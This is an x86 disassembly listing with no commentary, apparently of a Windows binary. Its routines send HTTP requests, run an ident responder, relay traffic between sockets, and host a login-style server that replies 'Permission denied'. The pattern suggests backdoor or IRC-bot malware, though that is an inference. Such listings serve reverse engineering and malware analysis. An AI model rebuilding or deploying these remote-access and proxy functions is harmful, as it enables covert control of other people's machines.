		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_4186E0
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CDF30	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_419070
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CDEFC	; recv
		pop	esi


loc_40F711:				; CODE XREF: sub_40F634+6Bj
		push	ebx
		call	dword_4CDF78	; closesocket
		call	dword_4CDE48	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4185E6
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40F751
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h


loc_40F751:				; CODE XREF: sub_40F634+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40F634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F755	proc near		; DATA XREF: sub_40121E+430o
					; sub_401AA1+3C2Co

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	0B7h
		call	dword_4CDEE4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4CDF60	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F8B9
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_440E44[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4CDF10	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F8B9
		push	5
		push	ebx
		call	dword_4CDF0C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F8B9
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_40F7E3:				; CODE XREF: sub_40F755+EDj
					; sub_40F755+14Dj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4CDF74	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40F8B4
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4389FC
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_413F3A
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CDEFC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F7E3
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_4155A3
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_4182F0
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40A0C6
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F7E3
		mov	[ebp+var_8], 1
		jmp	loc_40F7E3
; ---------------------------------------------------------------------------


loc_40F8B4:				; CODE XREF: sub_40F755+A3j
		cmp	[ebp+var_8], esi
		jnz	short loc_40F8E0


loc_40F8B9:				; CODE XREF: sub_40F755+4Aj
					; sub_40F755+6Ej ...
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_4389B8
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_413F3A
		add	esp, 10h


loc_40F8E0:				; CODE XREF: sub_40F755+162j
		push	ebx
		call	dword_4CDF78	; closesocket
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F755	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F903	proc near		; DATA XREF: sub_401AA1+587Fo

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4CDEE4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4CDF60	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40FA6E
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_440E44[ecx], eax
		call	dword_4CDE04	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF10	; bind
		test	eax, eax
		jnz	loc_40FA6E
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4CDF0C	; listen
		test	eax, eax
		jnz	loc_40FA6E


loc_40F9B3:				; CODE XREF: sub_40F903+C6j
					; sub_40F903+166j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF74	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40F9B3
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_438A68
		push	eax
		call	sub_4185E6
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40A130
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_440E3C[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_40FA93
		push	esi
		push	esi
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40FA64
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438A28
		call	sub_413FAE
		pop	ecx
		pop	ecx
		jmp	short loc_40FA71
; ---------------------------------------------------------------------------


loc_40FA5C:				; CODE XREF: sub_40F903+164j
		push	32h
		call	dword_424078	; Sleep


loc_40FA64:				; CODE XREF: sub_40F903+142j
		cmp	[ebp+var_30], esi
		jz	short loc_40FA5C
		jmp	loc_40F9B3
; ---------------------------------------------------------------------------


loc_40FA6E:				; CODE XREF: sub_40F903+63j
					; sub_40F903+97j ...
		mov	edi, [ebp+arg_0]


loc_40FA71:				; CODE XREF: sub_40F903+157j
		push	edi
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	dword_4CDF78	; closesocket
		push	[ebp+var_40]
		call	sub_40A446
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_40F903	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40FA93	proc near		; DATA XREF: sub_40F903+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_418880
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_4CDF60	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_40FBF6
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4CDEE4	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40FB23
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CDF64	; gethostbyname
		jmp	short loc_40FB31
; ---------------------------------------------------------------------------


loc_40FB23:				; CODE XREF: sub_40FA93+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CDEA0	; gethostbyaddr


loc_40FB31:				; CODE XREF: sub_40FA93+8Ej
		cmp	eax, edi
		jz	loc_40FBF6
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FBF6
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_438AF0
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40A130
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_440E44[ebx]
		mov	dword_440E3C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_440E48[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_40FC7B
		push	edi
		push	edi
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40FC2F
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438AB0
		call	sub_413FAE
		pop	ecx
		pop	ecx


loc_40FBF6:				; CODE XREF: sub_40FA93+44j
					; sub_40FA93+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_440E44[eax]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	dword_4CDF78	; closesocket
		push	[ebp+var_4]
		call	sub_40A446
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx


loc_40FC27:				; CODE XREF: sub_40FA93+19Fj
		push	32h
		call	dword_424078	; Sleep


loc_40FC2F:				; CODE XREF: sub_40FA93+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_40FC27
		mov	ebx, 1000h


loc_40FC39:				; CODE XREF: sub_40FA93+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CDEFC	; recv
		cmp	eax, edi
		jle	short loc_40FBF6
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FC39
		jmp	loc_40FBF6
sub_40FA93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC7B	proc near		; DATA XREF: sub_40FA93+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_418880
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_40FCB2:				; CODE XREF: sub_40FC7B+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_440E48[esi]
		call	dword_4CDEFC	; recv
		test	eax, eax
		jle	short loc_40FCF9
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_440E44[esi]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FCB2


loc_40FCF9:				; CODE XREF: sub_40FC7B+61j
		push	dword_440E48[esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+var_14]
		call	sub_40A446
		pop	ecx
		push	0
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_40FC7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD18	proc near		; DATA XREF: sub_40FF8D+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_3D4]
		inc	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_440E44[eax]
		xor	edi, edi
		mov	[ebp+var_C], 1Eh
		mov	[ebp+var_8], edi
		mov	eax, [esi]
		mov	[ebp+var_1F4], ebx
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4CDECC	; select
		test	eax, eax
		jnz	short loc_40FD9C
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_40FD9C:				; CODE XREF: sub_40FD18+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CDEFC	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40FF1D
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_40FF1D
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_40FF1D
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4CDE44	; getpeername
		test	eax, eax
		jz	short loc_40FE15
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		push	offset unk_438BC8
		call	sub_413FAE
		push	[ebp+arg_0]
		call	sub_40A446
		add	esp, 0Ch
		push	edi
		call	dword_4240CC	; ExitThread


loc_40FE15:				; CODE XREF: sub_40FD18+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4CDEA0	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_40FE3F
		push	[ebp+var_18]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_4185E6
		jmp	short loc_40FE4D
; ---------------------------------------------------------------------------


loc_40FE3F:				; CODE XREF: sub_40FD18+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_418C10


loc_40FE4D:				; CODE XREF: sub_40FD18+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_4400B4
		push	dword ptr [esi]
		call	dword_4CDF30	; send
		cmp	dword_4D0C18, edi
		jnz	short loc_40FEAF
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_40FF5E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FEAF
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CDF30	; send
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_40FEAF:				; CODE XREF: sub_40FD18+14Cj
					; sub_40FD18+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_438B8C
		call	sub_413FAE
		push	[ebp+arg_0]
		call	sub_410214
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40FEF6
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438B60
		call	sub_413FAE
		push	[ebp+arg_0]
		call	sub_40A446
		add	esp, 0Ch
		push	ebx
		call	dword_4240CC	; ExitThread


loc_40FEF6:				; CODE XREF: sub_40FD18+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_438B34
		call	sub_413FAE
		push	[ebp+arg_0]
		call	sub_40A446
		add	esp, 10h
		push	edi
		call	dword_4240CC	; ExitThread
sub_40FD18	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF1D	proc near		; CODE XREF: sub_40FD18+9Ap
					; sub_40FD18+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]


loc_40FF24:				; CODE XREF: sub_40FF1D+2Aj
		push	0
		lea	eax, [ebp+arg_4+3]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDEFC	; recv
		cmp	eax, 1
		jnz	short loc_40FF5A
		mov	al, byte ptr [ebp+arg_4+3]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_40FF4F
		test	al, al
		jnz	short loc_40FF24
		xor	eax, eax
		inc	eax


loc_40FF4C:				; CODE XREF: sub_40FF1D+3Fj
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40FF4F:				; CODE XREF: sub_40FF1D+26j
		push	offset unk_438BF4
		call	sub_413FAE
		pop	ecx


loc_40FF5A:				; CODE XREF: sub_40FF1D+1Bj
		xor	eax, eax
		jmp	short loc_40FF4C
sub_40FF1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF5E	proc near		; CODE XREF: sub_40FD18+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FF89
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_438C20
		call	sub_413FAE
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40FF89:				; CODE XREF: sub_40FF5E+11j
		xor	eax, eax
		inc	eax
		retn
sub_40FF5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF8D	proc near		; DATA XREF: sub_401AA1+1EC5o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4CDE60	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_40FFE6
		push	eax
		push	offset unk_438D94
		call	sub_413FAE
		push	[ebp+var_4C]
		call	sub_40A446
		add	esp, 0Ch
		push	edi
		call	dword_4240CC	; ExitThread


loc_40FFE6:				; CODE XREF: sub_40FF8D+3Aj
		push	edi
		push	offset loc_41020A
		call	dword_424124	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_41001F
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438D50
		call	sub_413FAE
		pop	ecx
		pop	ecx
		call	dword_4CDE48	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40A446
		pop	ecx
		push	edi
		call	dword_4240CC	; ExitThread


loc_41001F:				; CODE XREF: sub_40FF8D+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4CDEE4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4CDF60	; socket
		mov	ebx, eax


loc_410052:				; DATA XREF: .nsp0:00435A25o
					; .nsp0:00436255o
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410195
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_440E44[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4CDF10	; bind
		test	eax, eax
		jnz	loc_410195
		push	7FFFFFFFh
		push	ebx
		call	dword_4CDF0C	; listen
		test	eax, eax
		jnz	loc_410195
		push	offset unk_438D14
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_413F3A
		pop	ecx
		mov	[ebp+arg_0], edi


loc_4100AE:				; CODE XREF: sub_40FF8D+15Aj
					; sub_40FF8D+203j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4CDF74	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_410198
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4CDEC4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4100AE
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_438CD0
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413F3A
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40A130
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_440E3C[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_40FD18
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440E4C[ecx], eax
		jnz	short loc_41018B
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438C90
		call	sub_413FAE
		pop	ecx
		pop	ecx
		jmp	short loc_410198
; ---------------------------------------------------------------------------


loc_410183:				; CODE XREF: sub_40FF8D+201j
		push	32h
		call	dword_424078	; Sleep


loc_41018B:				; CODE XREF: sub_40FF8D+1DFj
		cmp	[ebp+var_38], esi
		jz	short loc_410183
		jmp	loc_4100AE
; ---------------------------------------------------------------------------


loc_410195:				; CODE XREF: sub_40FF8D+C8j
					; sub_40FF8D+ECj ...
		mov	edi, [ebp+arg_0]


loc_410198:				; CODE XREF: sub_40FF8D+13Cj
					; sub_40FF8D+1F4j
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_438C58
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_4101D8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_408BC1
		add	esp, 14h


loc_4101D8:				; CODE XREF: sub_40FF8D+229j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413F3A
		pop	ecx
		push	edi
		call	dword_4CDF78	; closesocket
		push	ebx
		call	dword_4CDF78	; closesocket
		call	dword_4CDE48	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40A446
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	ebx


loc_41020A:				; DATA XREF: sub_40FF8D+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_40FF8D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410214	proc near		; CODE XREF: sub_40FD18+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410369
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_440E44[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42407C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41053B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410283
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438DF8
		call	sub_413FAE
